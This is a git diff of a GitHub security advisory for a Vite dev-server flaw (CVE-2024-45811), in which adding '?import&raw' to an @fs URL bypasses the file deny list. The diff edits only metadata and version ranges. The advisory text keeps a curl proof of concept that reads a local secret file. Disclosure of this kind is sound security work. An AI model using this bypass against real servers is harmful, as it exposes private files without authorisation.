diff --git a/advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json b/advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json index cdd7376609b29..f82a611f05e91 100644 --- a/advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json +++ b/advisories/github-reviewed/2024/09/GHSA-9cwx-2883-4wfx/GHSA-9cwx-2883-4wfx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9cwx-2883-4wfx", - "modified": "2024-09-19T18:34:32Z", + "modified": "2024-09-19T18:34:34Z", "published": "2024-09-17T18:44:12Z", "aliases": [ "CVE-2024-45811" @@ -9,10 +9,6 @@ "summary": "Vite's `server.fs.deny` is bypassed when using `?import&raw`", "details": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \n

403 Restricted

\n

The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n", "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" - }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" @@ -73,14 +69,17 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "5.2.0" + "introduced": "4.0.0" }, { - "fixed": "5.2.14" + "fixed": "4.5.4" } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.5.3" + } }, { "package": { @@ -92,16 +91,16 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "4.0.0" + "introduced": "0" }, { - "fixed": "4.5.4" + "fixed": "3.2.11" } ] } ], "database_specific": { - "last_known_affected_version_range": "<= 4.5.3" + "last_known_affected_version_range": "<= 3.2.10" } }, { @@ -114,17 +113,14 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "5.2.0" }, { - "fixed": "3.2.11" + "fixed": "5.2.14" } ] } - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.2.10" - } + ] }, { "package": {